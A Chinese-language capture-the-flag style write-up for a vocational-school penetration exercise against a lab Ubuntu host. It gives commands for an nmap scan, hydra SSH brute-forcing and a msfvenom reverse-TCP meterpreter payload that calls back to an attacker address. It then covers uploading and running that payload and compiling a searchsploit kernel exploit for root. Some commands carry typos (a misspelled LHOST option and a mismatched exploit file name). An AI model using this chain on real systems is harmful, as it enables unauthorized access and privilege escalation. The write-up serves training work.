中职网络安全操作系统渗透

任务十：系统漏洞利用与提权

任务环境说明：

√ 服务器场景：PYsystem0033

√ 服务器场景操作系统：Ubuntu （关闭链接）

1. 使用nmap扫描靶机系统，将靶机开放的端口号按从小到大的顺序作为FLAG（形式：[端口1,端口2…,端口n]）提交；

直接用namp扫描

nmap 192.168.48.30

Flag[21,22,80]

1. 通过上述端口访问靶机系统，使用弱口令进行登录，将正确的用户名和密码作为FLAG（形式：[用户名,密码]）提交；

先试试爆破ssh用户和密码

hydra -L 用户名字典 -P 密码字典 ssh://ip

可以加个-vV显示过程

Flag[ubuntu,admin]

1. 利用Kali渗透机生成反弹木马，将生成木马命令执行后提示的第四行的首个单词作为FLAG（形式：[单词]）提交；

msfvenom -p linux/x86/meterpreter/reverse_tcp LHSOT=192.168.48.128 LPORT=444 -f elf -o shell.elf

Flag[Payload]

1. 对上述木马文件进行修改后上传到靶机系统中，使用MSF开启监听，将获得的当前权限的用户名作为FLAG（形式：[用户名]）提交；

已经有了ssh密码，可以用scp命令上传

scp shell.elf ubuntu@ip:目录

木马已经上传到了靶机中，打开msf

use exploit/multi/handler

不同背，tap补齐就好

要配置的和msfvenom一样，已经打开了，就等候靶机打开反弹木马了。登录ssh运行木马。

ssh -l ubuntu 192.168.48.130

切换到目录下，并给shell.elf运行权限。然后运行木马

./shell.elf

运行后msf里就会有会话。

Flag[ubuntu]

1. 查看系统内核版本信息，将系统内核版本号作为FLAG（形式：[版本号]）提交；

Flag[4.4.0-116]

1. 在Kali攻击机中查找可使用的漏洞源码，将找到的漏洞源码文件名作为FLAG（形式：[文件名]）提交；

searchsploit 4.4.0-116

Flag[44298.c]

1. 利用上述漏洞源码后获得到的靶机/root下的唯一.txt文件的文件名作为FLAG（形式：[文件名]) 提交；

查看到有一个漏洞，我们去找到这个漏洞位置，同样scp上传，如果你的Kali开启了http服务，还可以把源码复制到你的/var/www/html目录下，在msf里用wget下载，由于我的kali没有，就只演示scp了。

查找到了目录

传了上去,gcc 444298.c -o exp

./exp

就获得了root权限

cd /root

1. 利用上述漏洞源码后将获得到的靶机/root下的唯一.txt文件的文件内容作为FLAG（形式：[文件内容]）提交；

需要环境或者换可以私聊